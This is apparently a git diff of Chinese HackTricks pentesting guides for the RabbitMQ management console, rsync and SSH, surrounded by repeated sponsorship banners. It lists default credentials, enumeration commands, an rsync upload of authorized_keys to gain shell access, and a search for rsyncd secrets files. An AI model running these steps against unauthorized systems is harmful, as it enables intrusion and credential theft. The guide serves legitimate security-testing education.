||||
* 你在一个**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在一家**网络安全公司**工作吗？你想在**HackTricks 中看到你的公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑入不可黑之物 —— **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
你可以在[**5671,5672 - 渗透测试AMQP**](5671-5672-pentesting-amqp.md)中了解更多关于RabbitMQ的信息。\
|
||||
在这个端口上，如果启用了[管理插件](https://www.rabbitmq.com/management.html)，你可能会找到RabbitMQ管理Web控制台。\
|
||||
主页面应该如下所示：
|
||||
你可以在 [**5671,5672 - 对 AMQP 的渗透测试**](5671-5672-pentesting-amqp.md) 中了解更多关于 RabbitMQ 的信息。\
|
||||
在这个端口，如果启用了[管理插件](https://www.rabbitmq.com/management.html)，你可能会找到 RabbitMQ 管理的 Web 控制台。\
|
||||
主页面应该看起来像这样：
|
||||
|
||||
.png>)
|
||||
|
||||
## 枚举
|
||||
|
||||
默认凭据是"_**guest**_":"_**guest**_"。如果它们不起作用，你可以尝试[**暴力破解登录**](../generic-methodologies-and-resources/brute-force.md#http-post-form)。
|
||||
默认凭据是 "_**guest**_":"_**guest**_"。如果它们不起作用，你可以尝试[**暴力破解登录**](../generic-methodologies-and-resources/brute-force.md#http-post-form)。
|
||||
|
||||
要手动启动此模块，你需要执行：
|
||||
```
|
||||
rabbitmq-plugins enable rabbitmq_management
|
||||
service rabbitmq-server restart
|
||||
```
|
||||
一旦您成功进行身份验证，您将看到管理控制台：
|
||||
一旦您正确认证后，您将看到管理员控制台：
|
||||
|
||||
 (1).png>)
|
||||
|
||||
此外，如果您拥有有效的凭据，您可能会发现`http://localhost:15672/api/connections`的信息很有趣。
|
||||
此外，如果您有有效的凭据，您可能会发现 `http://localhost:15672/api/connections` 的信息很有趣。
|
||||
|
||||
还要注意，可以使用此服务的API在队列中**发布数据**，请求如下：
|
||||
还请注意，使用此服务的API，可以通过如下请求**发布数据到队列中**：
|
||||
```bash
|
||||
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
|
||||
Host: 172.32.56.72:15672
|
||||
|
|
@ -56,9 +56,9 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘！**（需要流利的波兰语书面和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -66,10 +66,10 @@ Content-Length: 267
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要获得**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方的PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,24 +1,20 @@
|
|||
# 873 - 渗透测试 Rsync
|
||||
# 873 - Rsync渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗？想要在 HackTricks 中看到你的**公司广告**吗？或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧。**
|
||||
* 如果你在**网络安全公司**工作，想在**HackTricks**上看到你的**公司广告**，或者想要获取**PEASS最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## **基本信息**
|
||||
|
||||
> **rsync** 是一种用于在计算机和外部硬盘之间以及跨网络计算机之间高效地[传输](https://en.wikipedia.org/wiki/File\_transfer)和[同步](https://en.wikipedia.org/wiki/File\_synchronization)[文件](https://en.wikipedia.org/wiki/Computer\_file)的实用工具，它通过比较文件的[修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))和大小来实现。它通常在类Unix的[操作系统](https://en.wikipedia.org/wiki/Operating\_system)中找到。rsync 算法是一种[增量编码](https://en.wikipedia.org/wiki/Delta\_encoding)类型，用于最小化网络使用。可以使用[Zlib](https://en.wikipedia.org/wiki/Zlib)进行额外的[数据压缩](https://en.wikipedia.org/wiki/Data\_compression)，[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3)并且可以使用[SSH](https://en.wikipedia.org/wiki/Secure\_Shell)或[stunnel](https://en.wikipedia.org/wiki/Stunnel)进行安全传输。
|
||||
> **rsync** 是一个用于在计算机与外部硬盘驱动器之间以及网络计算机之间高效[传输](https://en.wikipedia.org/wiki/File\_transfer)和[同步](https://en.wikipedia.org/wiki/File\_synchronization)[文件](https://en.wikipedia.org/wiki/Computer\_file)的实用程序，通过比较文件的[修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))和大小。它通常可以在[类Unix](https://en.wikipedia.org/wiki/Unix-like)[操作系统](https://en.wikipedia.org/wiki/Operating\_system)中找到。rsync算法是一种[增量编码](https://en.wikipedia.org/wiki/Delta\_encoding)，用于最小化网络使用。[Zlib](https://en.wikipedia.org/wiki/Zlib)可用于额外的[数据压缩](https://en.wikipedia.org/wiki/Data\_compression)，[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3)而[SSH](https://en.wikipedia.org/wiki/Secure\_Shell)或[stunnel](https://en.wikipedia.org/wiki/Stunnel)可用于安全性。
|
||||
|
||||
来自[wikipedia](https://en.wikipedia.org/wiki/Rsync)。
|
||||
|
||||
|
|
@ -29,42 +25,8 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## 枚举
|
||||
|
||||
### 横幅和手动通信
|
||||
|
||||
在渗透测试中，枚举是一项重要的任务，它帮助我们收集关于目标系统的信息。在进行rsync服务的渗透测试时，我们可以使用以下方法进行枚举。
|
||||
|
||||
#### 横幅
|
||||
|
||||
通过连接到目标rsync服务并读取横幅信息，我们可以获取有关服务版本和其他相关信息的线索。这可以通过使用`telnet`命令连接到rsync服务的默认端口（873）来完成。
|
||||
|
||||
### 横幅 & 手动通信
|
||||
```bash
|
||||
telnet <target_ip> 873
|
||||
```
|
||||
|
||||
#### 手动通信
|
||||
|
||||
我们还可以使用`rsync`命令与目标rsync服务进行手动通信。这可以帮助我们了解服务的功能和配置。以下是一些常用的手动通信命令：
|
||||
|
||||
- 列出目标系统上的文件和目录：
|
||||
|
||||
```bash
|
||||
rsync rsync://<target_ip>/
|
||||
```
|
||||
|
||||
- 下载目标系统上的文件或目录：
|
||||
|
||||
```bash
|
||||
rsync -av rsync://<target_ip>/<file_or_directory> <local_destination>
|
||||
```
|
||||
|
||||
- 上传本地文件或目录到目标系统：
|
||||
|
||||
```bash
|
||||
rsync -av <local_file_or_directory> rsync://<target_ip>/<destination_directory>
|
||||
```
|
||||
|
||||
通过使用这些命令，我们可以与目标rsync服务进行交互，并获取有关目标系统的更多信息。
|
||||
```
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
||||
|
|
@ -87,7 +49,7 @@ raidroot
|
|||
```
|
||||
### **枚举共享文件夹**
|
||||
|
||||
**一个 rsync 模块本质上是一个目录共享**。这些模块**可以选择性地通过密码进行保护**。这个选项列出了可用的模块，并且可以选择性地确定模块是否需要密码来访问\*\*:\*\*
|
||||
**rsync 模块本质上是一个目录共享**。这些模块**可以选择由密码保护**。此选项列出可用模块，并可选地确定访问模块是否需要密码：
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
|
|
@ -95,52 +57,48 @@ msf> use auxiliary/scanner/rsync/modules_list
|
|||
#Example using IPv6 and a different port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
请注意，可以配置一个共享名称以使其不被列出。因此可能有一些**隐藏的**东西。\
|
||||
请注意，可能有一些列出的**共享名称**需要一些（不同的）**凭据**才能访问。因此，并不总是所有列出的名称都可以访问，如果您在尝试访问其中一些时收到**"访问被拒绝"**的消息，您将会注意到这一点。
|
||||
请注意，共享名称可能被配置为不显示。因此，可能有一些**隐藏**的内容。
|
||||
请注意，可能会列出一些需要一些（不同的）**凭证**才能访问的**共享名称**。因此，并不是所有列出的名称都能访问，如果在尝试访问这些名称时收到**“访问拒绝”**消息，你将会注意到这一点。
|
||||
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
|
||||
### 手动 Rsync
|
||||
|
||||
一旦您获得了**模块列表**，根据您想要采取的操作以及是否需要身份验证，您有几个不同的选项。**如果不需要身份验证**，您可以**列出**一个共享文件夹：
|
||||
一旦你有了**模块列表**，根据你想要采取的行动以及是否需要认证，你有几种不同的选项。**如果不需要认证**，你可以**列出**一个共享文件夹：
|
||||
```bash
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
```
|
||||
并通过以下命令将所有文件复制到本地机器：
|
||||
And **复制** all **文件** to your local machine via the following command:
|
||||
```bash
|
||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
这个命令会**递归地将目录** `<shared_name>` 上的所有文件从机器 `<IP>` 传输到本地机器的 `./rsync_shared` 目录中。文件以“归档”模式传输，这确保了符号链接、设备、属性、权限、所有权等在传输中得以保留。
|
||||
这将**递归传输目录** `<shared_name>` 中的所有文件从机器 `<IP>` 到本地机器上的 `./rsync_shared` 目录。文件以“归档”模式传输，确保在传输过程中保留符号链接、设备、属性、权限、所有权等。
|
||||
|
||||
如果你**有凭据**，你可以使用以下命令（密码将会提示）**列出/下载**一个**共享名称**：
|
||||
如果您**拥有凭据**，您可以使用以下命令**列出/下载**一个**共享名称**（将提示输入密码）：
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
您也可以使用rsync上传一些内容（例如，在这种情况下，我们可以上传一个_**authorized\_keys**_文件以获取对该框的访问权限）：
|
||||
你也可以使用 rsync **上传**一些**内容**（例如，在这种情况下，我们可以上传一个 _**authorized\_keys**_ 文件以获取对盒子的访问权限）：
|
||||
```bash
|
||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
## POST
|
||||
|
||||
查找rsyncd配置文件：
|
||||
找到rsyncd配置文件：
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
在配置文件中，有时可以找到参数_secrets file = /path/to/file_，而这个文件可能包含允许用于身份验证到rsyncd的用户名和密码。
|
||||
在配置文件中，有时你会发现参数 _secrets file = /path/to/file_，这个文件可能包含用于认证到 rsyncd 的用户名和密码。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**中看到你的**公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,70 +1,70 @@
|
|||
# 22 - SSH/SFTP 渗透测试
|
||||
# 22 - 对SSH/SFTP的渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在 HackTricks 中**宣传你的公司**吗？或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或在 **Twitter** 上 **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 如果你在一家**网络安全公司**工作，想在**HackTricks**上看到你的**公司广告**，或者想要获取**PEASS最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑入不可黑之物 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**SSH 或 Secure Shell 或 Secure Socket Shell** 是一种网络协议，为用户提供了一种在不安全网络上安全访问计算机的方式。
|
||||
**SSH或Secure Shell或Secure Socket Shell，** 是一种网络协议，为用户提供了一种通过不安全网络安全访问计算机的方式。
|
||||
|
||||
**默认端口：**22
|
||||
**默认端口：** 22
|
||||
```
|
||||
22/tcp open ssh syn-ack
|
||||
```
|
||||
**SSH服务器：**
|
||||
|
||||
* [openSSH](http://www.openssh.org) - OpenBSD SSH，在BSD、Linux发行版和Windows 10中提供
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) - 适用于内存和处理器资源较低环境的SSH实现，在OpenWrt中提供
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) - 适用于Windows的SSH实现，客户端常用，但服务器的使用较少
|
||||
* [CopSSH](https://www.itefix.net/copssh) - 用于Windows的OpenSSH实现
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH，包含在BSD、Linux发行版和Windows 10及以后版本中
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 为内存和处理器资源有限的环境设计的SSH实现，包含在OpenWrt中
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – Windows平台的SSH实现，客户端常用，但服务器端使用较少
|
||||
* [CopSSH](https://www.itefix.net/copssh) – Windows平台的OpenSSH实现
|
||||
|
||||
**SSH库（实现服务器端）：**
|
||||
|
||||
* [libssh](https://www.libssh.org) - 多平台C库，实现SSHv2协议，支持[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)和[R](https://github.com/ropensci/ssh)绑定；KDE用于sftp，GitHub用于git SSH基础设施
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) - 使用ANSI C编写的SSHv2服务器库，针对嵌入式、RTOS和资源受限环境
|
||||
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) - 基于Apache MINA的Apache SSHD Java库
|
||||
* [paramiko](https://github.com/paramiko/paramiko) - Python SSHv2协议库
|
||||
* [libssh](https://www.libssh.org) – 多平台C语言库，实现SSHv2协议，提供[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/) 和 [R](https://github.com/ropensci/ssh)的绑定；它被KDE用于sftp，也被GitHub用于git SSH基础设施
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – 用ANSI C编写的SSHv2服务器库，针对嵌入式、RTOS和资源受限环境
|
||||
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – 基于Apache MINA的Apache SSHD Java库
|
||||
* [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2协议库
|
||||
|
||||
## 枚举
|
||||
|
||||
### 横幅抓取
|
||||
### Banner 抓取
|
||||
```bash
|
||||
nc -vn <IP> 22
|
||||
```
|
||||
### 自动化的ssh-audit
|
||||
### 自动化 ssh-audit
|
||||
|
||||
ssh-audit是一个用于ssh服务器和客户端配置审计的工具。
|
||||
ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是从[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 更新的分支。
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是从 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 更新的分支。
|
||||
|
||||
**特点：**
|
||||
|
||||
* 支持SSH1和SSH2协议服务器；
|
||||
* 分析SSH客户端配置；
|
||||
* 获取横幅，识别设备或软件和操作系统，检测压缩；
|
||||
* 收集密钥交换、主机密钥、加密和消息认证代码算法；
|
||||
* 输出算法信息（可用自从，已移除/禁用，不安全/弱/遗留等）；
|
||||
